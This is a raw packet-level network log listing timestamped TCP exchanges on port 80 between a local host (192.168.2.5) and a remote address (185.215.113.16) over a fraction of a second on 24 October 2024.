Oct 24, 2024 19:30:08.840039968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840065002 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840082884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840100050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840115070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840128899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840146065 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840153933 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840167999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840181112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840188980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840202093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840224028 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840382099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840395927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840409994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840420961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840425968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840440989 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840441942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840460062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840481043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840485096 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840502024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840517044 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840527058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840532064 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840545893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840554953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840554953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840572119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840579033 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840599060 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840631962 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840645075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840651989 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840652943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840668917 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840684891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840687990 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840701103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840712070 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840724945 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840738058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840738058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840749025 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840768099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840861082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840876102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840892076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.840900898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840920925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.840939999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841130972 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841155052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841169119 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841170073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841186047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841202021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841217995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841253996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841253996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841269016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841269016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841269016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841300011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841315985 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841331005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841346979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841350079 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841362953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841377020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.841387033 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841387033 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841387033 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841399908 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.841418028 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905699968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905719995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905759096 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905782938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905827045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905843973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905859947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905868053 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905884981 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905886889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905900955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905904055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905915022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905925989 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905940056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905944109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905955076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905956984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905971050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905977964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.905988932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.905999899 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906007051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906018019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906037092 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906045914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906049967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906060934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906075954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906086922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906094074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906110048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906111956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906126022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906135082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906160116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906179905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906193972 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906210899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906218052 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906227112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906241894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906243086 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906256914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906261921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906289101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906299114 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906315088 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906337023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906373024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906392097 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906414986 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906415939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906424999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906430960 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906445980 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906450987 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906461954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906466961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906476021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906492949 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906500101 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906506062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906514883 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906529903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906534910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906544924 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906554937 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906559944 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906569958 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906584978 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906586885 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906599998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906604052 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906622887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906625032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906637907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906641960 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906652927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906652927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906667948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906670094 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906683922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906691074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906702042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906706095 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906722069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906730890 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906738043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906759024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906819105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906833887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906847954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906862974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906876087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906877041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906886101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906893969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906903028 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906918049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906930923 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906935930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906944990 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906960011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906968117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906975985 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.906986952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.906991005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907006025 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907006025 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907022953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907025099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907033920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907043934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907051086 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907058954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907069921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907073021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907080889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907088041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907102108 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907104015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907119036 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907120943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907131910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907135010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907150030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907154083 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907164097 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907180071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907181978 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907210112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907232046 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907236099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907250881 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907265902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907274008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907280922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907286882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907306910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907322884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907344103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907387972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907521009 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907542944 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907594919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907609940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907614946 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907624006 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907633066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907640934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907655954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907659054 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907671928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907682896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907685995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907701969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907711029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907716990 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907732010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907741070 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907747030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907759905 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907762051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907782078 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907788038 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907790899 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907793045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907802105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907819986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.907824039 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907850027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907850027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.907876968 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908133030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908170938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908195972 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908210993 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908231974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908237934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908257961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908265114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908577919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908595085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908622026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908626080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908641100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908641100 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908657074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908668995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908673048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908675909 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908694983 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908700943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908710003 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908715010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908730984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908736944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908746958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908752918 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908765078 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908770084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908783913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908792019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908798933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908809900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908813953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908828020 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908828974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908843040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908843994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908859968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908866882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908874989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908891916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908900023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908906937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908911943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908925056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908941031 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908941984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908958912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908967018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.908973932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908989906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.908993959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.909020901 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.909044027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.954813957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954859018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954883099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954899073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954915047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954921007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.954931021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954946995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.954948902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954963923 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954972982 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.954982042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.954991102 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.954996109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955012083 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955015898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955029011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955039978 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955068111 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955115080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955130100 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955147028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955148935 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955163002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:08.955173016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955188990 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955207109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:08.955332041 CEST	80	49959	185.215.113.16	192.168.2.5
